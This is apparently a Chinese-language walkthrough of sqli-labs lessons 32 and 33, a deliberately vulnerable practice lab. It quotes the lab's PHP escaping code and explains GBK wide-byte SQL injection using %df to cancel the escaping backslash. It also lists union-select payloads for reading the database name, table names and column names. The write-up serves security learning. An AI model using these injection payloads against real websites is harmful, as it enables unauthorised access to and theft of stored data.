sqlilabs 32 33

32很神奇 输入单双引号 或者加上括号都会出现img这么个情况 被加上了个斜杠 被注释掉了

这归功于php的preg_quote函数的功劳

这个需要参数str(输入的字符串)并向其中每个正则表达式的字符前面加个反斜杠

代码长这样

function check_addslashes($string)
{
$string = preg_replace(‘/‘. preg_quote(‘\‘) .’/‘, “\\\“, $string); //escape any backslash
$string = preg_replace(‘/'/i’, ‘\'‘, $string); //escape single quote with a backslash
$string = preg_replace(‘/"/‘, “\"“, $string); //escape double quote with a backslash

return $string;

}

字符集编码设置为gbk可使用宽字节注入

尝试%df 反斜杠是%5c 那么就会变成一个整体%df5c mysql认为前两个字符为汉字 (其实浏览器的字符编码不设置也没差就显示一个乱码而已看着有点怪而已) 然后单引号就可以逃脱出来了

?id=0%df’ union select 1,2,3 –+ 测显位

然后?id=0%df’ union select 1,2,database() –+

接下去就是那套组合拳 很容易了

爆表名字那些的时候table_schema=’security’ 这个单引号也滤掉了 但是用%df’ 前头的逃出来了 后头那个没有

那么就再简单些= database()

爆列的时候也可直接还是用 table_schema=database()

33和32一样只不过换成了addslashes()函数 用的语句都是一样的